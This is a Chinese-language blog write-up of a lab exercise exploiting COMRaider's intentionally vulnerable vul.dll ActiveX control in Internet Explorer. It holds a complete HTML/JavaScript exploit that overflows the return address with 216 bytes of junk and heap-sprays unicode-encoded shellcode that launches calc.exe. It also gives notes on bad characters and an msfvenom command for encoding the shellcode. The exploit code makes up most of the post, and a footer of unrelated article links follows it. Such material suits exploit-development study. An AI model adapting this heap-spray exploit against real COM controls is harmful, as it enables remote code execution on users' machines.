COMRaider自带vul.dll成功总结
com组件安全研究,已然是老古董了。以下是学习研究总结,采用的是覆盖返回地址结合堆喷的技术达到任意代码执行。
ollydbg调试com组件
Iexplore.exe 在匹配到对应的com组件后会通过DispCallFunc
函数转置对应的注册组件对象接口函数。
因此,可对此函数下断点。如下图所示(来自0day2):
定位漏洞触发点
一般选用以下两种方式:
1. 覆盖返回地址
2. 覆盖最近的异常处理地址
采用第1种:
可计算出,返回地址距离不受限制的字符串地址为216字节。
POC
<html>
Test Exploit page
<object classid='clsid:8EF2A07C-6E69-4144-96AA-2247D892A73D' id='target' ></object>
<script language='javascript'>/*Calc.exe alpha_upper badchars --> "\x8b\x93\x83\x8a\x8c\x8d\x8f\x8e\x87\x81\x84\x86\x88\x89\x90\x91\x92\x94\x95\x96\x97\x98\x99\x82\x85
\x9f\x9a\x9e\x9d\x9b\x9f\x76
shell="\x33\xC0\x50\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x8D\x04\x24\x50\xB8\x9D\x13\x76\x6C\x05\x10\x10\x10\x10\xFF\xD0\xB8\xDA\xAA\x61\x5C\x05\x20\x20\x20\x20\xFF\xD0";
*//* need unicode */
shell="%uc033%u6850%u652e%u6578%u6368%u6c61%u8d63%u2404%ub850%u139d%u6c76%u1005%u1010%uff10%ub8d0%uaada%u5c61%u2005%u2020%uff20%u90d0";
shell=unescape(shell);/*
wrong because of unicode encode by iexplorer
chunk="\x90";while (chunk.length<=0x100000)
{
chunk+=chunk;
}
chunk=chunk.substring(0,0x100000-32-4-1-shell.length));var slide = new Array();
for (var i=0;i<=200;i++)
{slide[i] = chunk+shell;
}
*/chunk=unescape("%u9090%u9090");while (chunk.length<0x100000/2)
{chunk+=chunk;
}
chunk=chunk.substring(0,(0x100000-32-4-1-shell.length)/2);var slide = new Array();
for (var i=0;i<=200;i++)
{slide[i] = chunk+shell;
}/*
op = unescape("%u0606%0606"); //wrong
op = "\x06\x06\x06\x06"; 常用0c0c0c0c. 一般 04040404~0b0b0b0b的之间的堆空间都可以。
*/
op = "\x06\x06\x06\x06";nops="\x90";
while (nops.length<20){ nops+="\x90";}junk1="A";
while (junk1.length<216){ junk1+=junk1;}
junk1=junk1.substring(0,216);arg1=junk1+op+nops+shell;target.Method1(arg1);</script>
</html>
为什么选择堆喷而不是类似jmp esp的方式
- 堆喷相当稳定
- 绕过字符编码问题
字符编码
受WideCharToMultiByte
的影响,对于ascii值大于等于0x80的字符会被自动转化为0x3f。
例如:
jmp esp的地址:
\x49\xF0\xDE\x77.
在传递给有漏洞函数时会变为
\x49\x3F\x3F\x77
当然这可以在进程空间找到另一个不会被转换的跳板指令。
对于payload的shellcode 的坏字符可使用metasploit的工具msfvenom 进行相应编码转换
命令部分:
msfvenom -a x86 --platform windows -p windwos/exec CMD="calc.exe" -e x86/aipha_mixed BufferRegister=ESP -f -c
COMRaider自带vul.dll成功总结相关推荐
- 关于Navicat Premium连接Oracle数据库闪退(失败)的解决办法(带ocl.dll)
关于Navicat Premium连接Oracle数据库闪退(失败)的解决办法(带ocl.dll) 先下载这两个文件(oci.dll.sqlPlus) oci.dll:https://download ...
- DELPHI 键盘HOOK,DLL注入,带窗口DLL注入及释放
-----------DLL的创建退出过程---------- 新建的DLL内 procedure DllEnterProc(reason:integer); begin case reason of ...
- 许三多修路带给我们成功的启示
<士兵突击>这部电视剧看过许多变了,但总不能释怀. 许三多一个从农村山沟出来的孩子,一个有着严重"心理障碍"的新兵,从一个给谁谁不要的孬兵,最后居然成为一 ...
- 新媒之家是怎么带我走向成功?
前段时间一个老朋友找到我,希望我分享做虚拟项目这一年的收获,我欣然答应,毕竟在新媒之家上我确实收获颇丰. 我大学一毕业听从了父母的安排在县城的政府部门做了材料管理员,虽然工资不高,但也清闲.也曾想过出 ...
- win10自带dll修复以及多种dll修复方法分享
修复DLL文件是解决Windows系统中发生的许多问题的重要步骤之一.在Windows 10中,自带了一些工具和功能来修复损坏的DLL文件.本文将讨论Windows 10自带的DLL修复工具以及其他常 ...
- regsvr32.exe进程注册dll文件
regsvr32.exe用于注册Windows操作系统的动态链接库(dll)和ActiveX控件.这个程序对你系统的正常运行是非常重要的. dll文件即动态链接库,是一个不可执行的二进制程序文件, ...
- pb编译机器码不成功的问题
今天朋友的代码让我编译一下,他之前是可以编译成dll的,而我电脑上尝试过多次都是一样的错误. 错误样式: 1. could not create or open file 'c:\docume~1\a ...
- Windows Dll Injection、Process Injection、API Hook、DLL后门/恶意程序入侵技术
catalogue 1. 引言 2. 使用注册表注入DLL 3. 使用Windows挂钩来注入DLL 4. 使用远程线程来注入DLL 5. 使用木马DLL来注入DLL 6. 把DLL作为调试器来注入 ...
- 如何反注册DLL文件
如何反注册DLL文件 在windows的system文件夹下有一个regsvr32.exe的程序,它就是windows自带的activex注册和反注册工具.它的用法为: "regsv ...
- 在VS2010平台上创建并使用dll
一.为什么需要dll 代码复用是提高软件开发效率的重要途径.一般而言,只要某部分代码具有通用性,就可将它构造成相对独立的功能模块并在之后的项目中重复使用.比较常见的例子是各种应用程序框架,如ATL.M ...
最新文章
- 天正怎么批量填充柱子_天正CAD插件使用教程合集
- JAVA8之lambda表达式
- MySQL性能优化之必备技能【推荐】
- uniapp 可视化开发_uniapp的简单安装流程使用教程
- 智慧消防、消防管理、事件管理、维保巡检、应急管理、培训管理、值班管理、考试管理、设备列表、机构管理、应急预案、axure原型、rp原型
- Python中如何获取类属性的列表
- phpcms模板标签整理
- cad批量打印_CAD插件批量打印3.5.9
- 转载:LTE中的各种ID含义
- google吃豆子游戏
- 淘宝APP用户行为数据分析案例——Python
- 《SpringSecurity in Action》四:Session共享下的Session并发控制问题
- The artifact org.apache.commons:commons-io:jar:1.3.2 has been relocated to commons-io:commons-io:jar
- CSS设置html网页背景图片 CSS设置网页背景颜色
- linux补齐命令,Linux中10个有用的命令行补齐命令
- Flask学习笔记(一)
- Android targetSdkVersion从23升级到26适配指南
- 弱智的页面无法访问的问题
- torch.sort()用法
- 贴片电解电容正负极区分
热门文章
- ASP.NET MVC+Vue.js实现联系人管理
- 计算机屏幕怎么设置键盘,[怎么用屏幕键盘]怎么用键盘调屏幕分辨率
- 空间里相片批量导入u盘_怎样将U盘内相片弄到QQ空间的相册内
- java中dl列表_Java DLFolder.getFolderId方法代码示例
- 【MATLAB】MATLAB 仿真 — 窄带高斯白噪声
- 简述窄带调频和宽带调频的_宽带调频和窄带调频的简单区别方法
- python学习日常-----作业(4)
- 记一次wkhtmltopdf填坑经历
- 5.Linux系统中解压缩详解
- 树莓派4B点亮LED小灯